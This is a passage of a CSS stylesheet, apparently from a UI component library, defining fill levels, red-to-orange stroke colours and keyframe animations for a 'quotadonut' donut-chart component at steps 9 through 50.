.quotadonut--animated.quotadonut--9 .quotadonut__segment {
-webkit-animation: exos__quotadonut__9 2s ease-in-out;
animation: exos__quotadonut__9 2s ease-in-out
}
.quotadonut--10 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 10 90
}
@-webkit-keyframes exos__quotadonut__10 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 10 90
}
}
@keyframes exos__quotadonut__10 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 10 90
}
}
.quotadonut--animated.quotadonut--10 .quotadonut__segment {
-webkit-animation: exos__quotadonut__10 2s ease-in-out;
animation: exos__quotadonut__10 2s ease-in-out
}
.quotadonut--11 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 11 89
}
@-webkit-keyframes exos__quotadonut__11 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 11 89
}
}
@keyframes exos__quotadonut__11 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 11 89
}
}
.quotadonut--animated.quotadonut--11 .quotadonut__segment {
-webkit-animation: exos__quotadonut__11 2s ease-in-out;
animation: exos__quotadonut__11 2s ease-in-out
}
.quotadonut--12 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 12 88
}
@-webkit-keyframes exos__quotadonut__12 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 12 88
}
}
@keyframes exos__quotadonut__12 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 12 88
}
}
.quotadonut--animated.quotadonut--12 .quotadonut__segment {
-webkit-animation: exos__quotadonut__12 2s ease-in-out;
animation: exos__quotadonut__12 2s ease-in-out
}
.quotadonut--13 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 13 87
}
@-webkit-keyframes exos__quotadonut__13 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 13 87
}
}
@keyframes exos__quotadonut__13 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 13 87
}
}
.quotadonut--animated.quotadonut--13 .quotadonut__segment {
-webkit-animation: exos__quotadonut__13 2s ease-in-out;
animation: exos__quotadonut__13 2s ease-in-out
}
.quotadonut--14 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 14 86
}
@-webkit-keyframes exos__quotadonut__14 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 14 86
}
}
@keyframes exos__quotadonut__14 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 14 86
}
}
.quotadonut--animated.quotadonut--14 .quotadonut__segment {
-webkit-animation: exos__quotadonut__14 2s ease-in-out;
animation: exos__quotadonut__14 2s ease-in-out
}
.quotadonut--15 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 15 85
}
@-webkit-keyframes exos__quotadonut__15 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 15 85
}
}
@keyframes exos__quotadonut__15 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 15 85
}
}
.quotadonut--animated.quotadonut--15 .quotadonut__segment {
-webkit-animation: exos__quotadonut__15 2s ease-in-out;
animation: exos__quotadonut__15 2s ease-in-out
}
.quotadonut--16 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 16 84
}
@-webkit-keyframes exos__quotadonut__16 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 16 84
}
}
@keyframes exos__quotadonut__16 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 16 84
}
}
.quotadonut--animated.quotadonut--16 .quotadonut__segment {
-webkit-animation: exos__quotadonut__16 2s ease-in-out;
animation: exos__quotadonut__16 2s ease-in-out
}
.quotadonut--17 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 17 83
}
@-webkit-keyframes exos__quotadonut__17 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 17 83
}
}
@keyframes exos__quotadonut__17 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 17 83
}
}
.quotadonut--animated.quotadonut--17 .quotadonut__segment {
-webkit-animation: exos__quotadonut__17 2s ease-in-out;
animation: exos__quotadonut__17 2s ease-in-out
}
.quotadonut--18 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 18 82
}
@-webkit-keyframes exos__quotadonut__18 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 18 82
}
}
@keyframes exos__quotadonut__18 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 18 82
}
}
.quotadonut--animated.quotadonut--18 .quotadonut__segment {
-webkit-animation: exos__quotadonut__18 2s ease-in-out;
animation: exos__quotadonut__18 2s ease-in-out
}
.quotadonut--19 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 19 81
}
@-webkit-keyframes exos__quotadonut__19 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 19 81
}
}
@keyframes exos__quotadonut__19 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 19 81
}
}
.quotadonut--animated.quotadonut--19 .quotadonut__segment {
-webkit-animation: exos__quotadonut__19 2s ease-in-out;
animation: exos__quotadonut__19 2s ease-in-out
}
.quotadonut--20 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 20 80
}
@-webkit-keyframes exos__quotadonut__20 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 20 80
}
}
@keyframes exos__quotadonut__20 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 20 80
}
}
.quotadonut--animated.quotadonut--20 .quotadonut__segment {
-webkit-animation: exos__quotadonut__20 2s ease-in-out;
animation: exos__quotadonut__20 2s ease-in-out
}
.quotadonut--21 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 21 79
}
@-webkit-keyframes exos__quotadonut__21 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 21 79
}
}
@keyframes exos__quotadonut__21 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 21 79
}
}
.quotadonut--animated.quotadonut--21 .quotadonut__segment {
-webkit-animation: exos__quotadonut__21 2s ease-in-out;
animation: exos__quotadonut__21 2s ease-in-out
}
.quotadonut--22 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 22 78
}
@-webkit-keyframes exos__quotadonut__22 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 22 78
}
}
@keyframes exos__quotadonut__22 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 22 78
}
}
.quotadonut--animated.quotadonut--22 .quotadonut__segment {
-webkit-animation: exos__quotadonut__22 2s ease-in-out;
animation: exos__quotadonut__22 2s ease-in-out
}
.quotadonut--23 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 23 77
}
@-webkit-keyframes exos__quotadonut__23 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 23 77
}
}
@keyframes exos__quotadonut__23 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 23 77
}
}
.quotadonut--animated.quotadonut--23 .quotadonut__segment {
-webkit-animation: exos__quotadonut__23 2s ease-in-out;
animation: exos__quotadonut__23 2s ease-in-out
}
.quotadonut--24 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 24 76
}
@-webkit-keyframes exos__quotadonut__24 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 24 76
}
}
@keyframes exos__quotadonut__24 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 24 76
}
}
.quotadonut--animated.quotadonut--24 .quotadonut__segment {
-webkit-animation: exos__quotadonut__24 2s ease-in-out;
animation: exos__quotadonut__24 2s ease-in-out
}
.quotadonut--25 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 25 75
}
@-webkit-keyframes exos__quotadonut__25 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 25 75
}
}
@keyframes exos__quotadonut__25 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 25 75
}
}
.quotadonut--animated.quotadonut--25 .quotadonut__segment {
-webkit-animation: exos__quotadonut__25 2s ease-in-out;
animation: exos__quotadonut__25 2s ease-in-out
}
.quotadonut--26 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 26 74
}
@-webkit-keyframes exos__quotadonut__26 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 26 74
}
}
@keyframes exos__quotadonut__26 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 26 74
}
}
.quotadonut--animated.quotadonut--26 .quotadonut__segment {
-webkit-animation: exos__quotadonut__26 2s ease-in-out;
animation: exos__quotadonut__26 2s ease-in-out
}
.quotadonut--27 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 27 73
}
@-webkit-keyframes exos__quotadonut__27 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 27 73
}
}
@keyframes exos__quotadonut__27 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 27 73
}
}
.quotadonut--animated.quotadonut--27 .quotadonut__segment {
-webkit-animation: exos__quotadonut__27 2s ease-in-out;
animation: exos__quotadonut__27 2s ease-in-out
}
.quotadonut--28 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 28 72
}
@-webkit-keyframes exos__quotadonut__28 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 28 72
}
}
@keyframes exos__quotadonut__28 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 28 72
}
}
.quotadonut--animated.quotadonut--28 .quotadonut__segment {
-webkit-animation: exos__quotadonut__28 2s ease-in-out;
animation: exos__quotadonut__28 2s ease-in-out
}
.quotadonut--29 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 29 71
}
@-webkit-keyframes exos__quotadonut__29 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 29 71
}
}
@keyframes exos__quotadonut__29 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 29 71
}
}
.quotadonut--animated.quotadonut--29 .quotadonut__segment {
-webkit-animation: exos__quotadonut__29 2s ease-in-out;
animation: exos__quotadonut__29 2s ease-in-out
}
.quotadonut--30 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 30 70
}
@-webkit-keyframes exos__quotadonut__30 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 30 70
}
}
@keyframes exos__quotadonut__30 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 30 70
}
}
.quotadonut--animated.quotadonut--30 .quotadonut__segment {
-webkit-animation: exos__quotadonut__30 2s ease-in-out;
animation: exos__quotadonut__30 2s ease-in-out
}
.quotadonut--31 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 31 69
}
@-webkit-keyframes exos__quotadonut__31 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 31 69
}
}
@keyframes exos__quotadonut__31 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 31 69
}
}
.quotadonut--animated.quotadonut--31 .quotadonut__segment {
-webkit-animation: exos__quotadonut__31 2s ease-in-out;
animation: exos__quotadonut__31 2s ease-in-out
}
.quotadonut--32 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 32 68
}
@-webkit-keyframes exos__quotadonut__32 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 32 68
}
}
@keyframes exos__quotadonut__32 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 32 68
}
}
.quotadonut--animated.quotadonut--32 .quotadonut__segment {
-webkit-animation: exos__quotadonut__32 2s ease-in-out;
animation: exos__quotadonut__32 2s ease-in-out
}
.quotadonut--33 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 33 67
}
@-webkit-keyframes exos__quotadonut__33 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 33 67
}
}
@keyframes exos__quotadonut__33 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 33 67
}
}
.quotadonut--animated.quotadonut--33 .quotadonut__segment {
-webkit-animation: exos__quotadonut__33 2s ease-in-out;
animation: exos__quotadonut__33 2s ease-in-out
}
.quotadonut--34 .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 34 66
}
@-webkit-keyframes exos__quotadonut__34 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 34 66
}
}
@keyframes exos__quotadonut__34 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 34 66
}
}
.quotadonut--animated.quotadonut--34 .quotadonut__segment {
-webkit-animation: exos__quotadonut__34 2s ease-in-out;
animation: exos__quotadonut__34 2s ease-in-out
}
.quotadonut--35 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 35 65
}
@-webkit-keyframes exos__quotadonut__35 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 35 65
}
}
@keyframes exos__quotadonut__35 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 35 65
}
}
.quotadonut--animated.quotadonut--35 .quotadonut__segment {
-webkit-animation: exos__quotadonut__35 2s ease-in-out;
animation: exos__quotadonut__35 2s ease-in-out
}
.quotadonut--36 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 36 64
}
@-webkit-keyframes exos__quotadonut__36 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
97.22222% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 36 64
}
}
@keyframes exos__quotadonut__36 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
97.22222% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 36 64
}
}
.quotadonut--animated.quotadonut--36 .quotadonut__segment {
-webkit-animation: exos__quotadonut__36 2s ease-in-out;
animation: exos__quotadonut__36 2s ease-in-out
}
.quotadonut--37 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 37 63
}
@-webkit-keyframes exos__quotadonut__37 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
94.59459% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 37 63
}
}
@keyframes exos__quotadonut__37 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
94.59459% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 37 63
}
}
.quotadonut--animated.quotadonut--37 .quotadonut__segment {
-webkit-animation: exos__quotadonut__37 2s ease-in-out;
animation: exos__quotadonut__37 2s ease-in-out
}
.quotadonut--38 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 38 62
}
@-webkit-keyframes exos__quotadonut__38 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
92.10526% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 38 62
}
}
@keyframes exos__quotadonut__38 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
92.10526% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 38 62
}
}
.quotadonut--animated.quotadonut--38 .quotadonut__segment {
-webkit-animation: exos__quotadonut__38 2s ease-in-out;
animation: exos__quotadonut__38 2s ease-in-out
}
.quotadonut--39 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 39 61
}
@-webkit-keyframes exos__quotadonut__39 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
89.74359% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 39 61
}
}
@keyframes exos__quotadonut__39 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
89.74359% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 39 61
}
}
.quotadonut--animated.quotadonut--39 .quotadonut__segment {
-webkit-animation: exos__quotadonut__39 2s ease-in-out;
animation: exos__quotadonut__39 2s ease-in-out
}
.quotadonut--40 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 40 60
}
@-webkit-keyframes exos__quotadonut__40 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
87.5% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 40 60
}
}
@keyframes exos__quotadonut__40 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
87.5% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 40 60
}
}
.quotadonut--animated.quotadonut--40 .quotadonut__segment {
-webkit-animation: exos__quotadonut__40 2s ease-in-out;
animation: exos__quotadonut__40 2s ease-in-out
}
.quotadonut--41 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 41 59
}
@-webkit-keyframes exos__quotadonut__41 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
85.36585% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 41 59
}
}
@keyframes exos__quotadonut__41 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
85.36585% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 41 59
}
}
.quotadonut--animated.quotadonut--41 .quotadonut__segment {
-webkit-animation: exos__quotadonut__41 2s ease-in-out;
animation: exos__quotadonut__41 2s ease-in-out
}
.quotadonut--42 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 42 58
}
@-webkit-keyframes exos__quotadonut__42 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
83.33333% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 42 58
}
}
@keyframes exos__quotadonut__42 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
83.33333% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 42 58
}
}
.quotadonut--animated.quotadonut--42 .quotadonut__segment {
-webkit-animation: exos__quotadonut__42 2s ease-in-out;
animation: exos__quotadonut__42 2s ease-in-out
}
.quotadonut--43 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 43 57
}
@-webkit-keyframes exos__quotadonut__43 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
81.39535% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 43 57
}
}
@keyframes exos__quotadonut__43 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
81.39535% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 43 57
}
}
.quotadonut--animated.quotadonut--43 .quotadonut__segment {
-webkit-animation: exos__quotadonut__43 2s ease-in-out;
animation: exos__quotadonut__43 2s ease-in-out
}
.quotadonut--44 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 44 56
}
@-webkit-keyframes exos__quotadonut__44 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
79.54545% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 44 56
}
}
@keyframes exos__quotadonut__44 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
79.54545% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 44 56
}
}
.quotadonut--animated.quotadonut--44 .quotadonut__segment {
-webkit-animation: exos__quotadonut__44 2s ease-in-out;
animation: exos__quotadonut__44 2s ease-in-out
}
.quotadonut--45 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 45 55
}
@-webkit-keyframes exos__quotadonut__45 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
77.77778% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 45 55
}
}
@keyframes exos__quotadonut__45 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
77.77778% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 45 55
}
}
.quotadonut--animated.quotadonut--45 .quotadonut__segment {
-webkit-animation: exos__quotadonut__45 2s ease-in-out;
animation: exos__quotadonut__45 2s ease-in-out
}
.quotadonut--46 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 46 54
}
@-webkit-keyframes exos__quotadonut__46 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
76.08696% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 46 54
}
}
@keyframes exos__quotadonut__46 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
76.08696% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 46 54
}
}
.quotadonut--animated.quotadonut--46 .quotadonut__segment {
-webkit-animation: exos__quotadonut__46 2s ease-in-out;
animation: exos__quotadonut__46 2s ease-in-out
}
.quotadonut--47 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 47 53
}
@-webkit-keyframes exos__quotadonut__47 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
74.46809% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 47 53
}
}
@keyframes exos__quotadonut__47 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
74.46809% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 47 53
}
}
.quotadonut--animated.quotadonut--47 .quotadonut__segment {
-webkit-animation: exos__quotadonut__47 2s ease-in-out;
animation: exos__quotadonut__47 2s ease-in-out
}
.quotadonut--48 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 48 52
}
@-webkit-keyframes exos__quotadonut__48 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
72.91667% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 48 52
}
}
@keyframes exos__quotadonut__48 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
72.91667% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 48 52
}
}
.quotadonut--animated.quotadonut--48 .quotadonut__segment {
-webkit-animation: exos__quotadonut__48 2s ease-in-out;
animation: exos__quotadonut__48 2s ease-in-out
}
.quotadonut--49 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 49 51
}
@-webkit-keyframes exos__quotadonut__49 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
71.42857% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 49 51
}
}
@keyframes exos__quotadonut__49 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
71.42857% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 49 51
}
}
.quotadonut--animated.quotadonut--49 .quotadonut__segment {
-webkit-animation: exos__quotadonut__49 2s ease-in-out;
animation: exos__quotadonut__49 2s ease-in-out
}
.quotadonut--50 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
